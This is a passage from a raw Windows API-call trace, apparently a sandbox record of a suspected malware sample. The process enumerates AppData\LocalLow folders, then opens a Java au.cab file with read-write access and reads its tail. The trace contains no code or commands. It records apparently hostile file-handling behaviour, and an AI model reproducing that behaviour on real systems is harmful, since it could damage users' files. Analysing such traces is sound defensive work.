hHeap=0x660000) returned 1 [0115.040] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.040] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.040] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.040] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\") returned="Services\\" [0115.040] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0115.040] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320138 [0115.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.040] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0115.040] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0115.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.040] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740f38 [0115.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320138 | out: hHeap=0x660000) returned 1 [0115.040] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0115.040] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0115.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740f38 | out: hHeap=0x660000) returned 1 [0115.040] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.040] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0115.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0115.040] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.041] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0115.041] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e0d0 | out: hHeap=0x660000) returned 1 [0115.041] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.041] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0115.041] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0115.041] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.041] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0115.041] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.041] PathFindFileNameW (pszPath="") returned="" [0115.041] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x323ec00 [0115.041] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.042] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ec00 | out: hHeap=0x660000) returned 1 [0115.042] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.042] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.042] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0115.042] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0115.042] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x323ecb8 | out: hHeap=0x660000) returned 1 [0115.042] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0115.042] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740f38 [0115.042] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0115.042] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.042] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.042] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.042] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.042] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.042] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.042] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.042] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.042] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.042] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.042] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.043] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.043] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.043] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.043] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.043] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.043] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.043] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.043] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.043] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.043] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.043] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.043] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.043] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.043] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.043] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.043] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.043] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.044] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.044] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.044] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.044] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.044] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.044] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.044] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.044] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.044] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.044] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.044] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.044] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.044] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.044] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.044] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.044] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.045] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.045] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.045] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.045] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.045] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.045] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.045] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.045] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.045] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.045] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.045] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.045] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.045] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.045] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0115.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.045] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.045] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.045] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.046] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.046] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0115.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.046] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.046] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.046] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.046] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.046] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.046] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.046] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0115.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0115.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.046] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.046] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.046] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.046] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0115.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.046] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.046] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.046] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.046] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.046] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.047] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.047] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.047] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0115.047] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.047] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.047] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.047] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.047] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.047] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.047] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.047] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.047] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.047] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.047] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740da0 [0115.047] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0115.047] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0115.047] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0115.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\") returned="AU\\" [0115.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0115.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0115.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0115.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0115.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0115.047] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0115.047] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0115.047] PathFindFileNameW (pszPath="") returned="" [0115.047] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0115.049] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.049] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7eec92c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8e062, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="au.cab", cAlternateFileName="")) returned 1 [0115.049] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab") returned=".cab" [0115.049] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0115.050] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=581730) returned 1 [0115.050] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0115.052] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8e03c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.052] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0115.053] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, 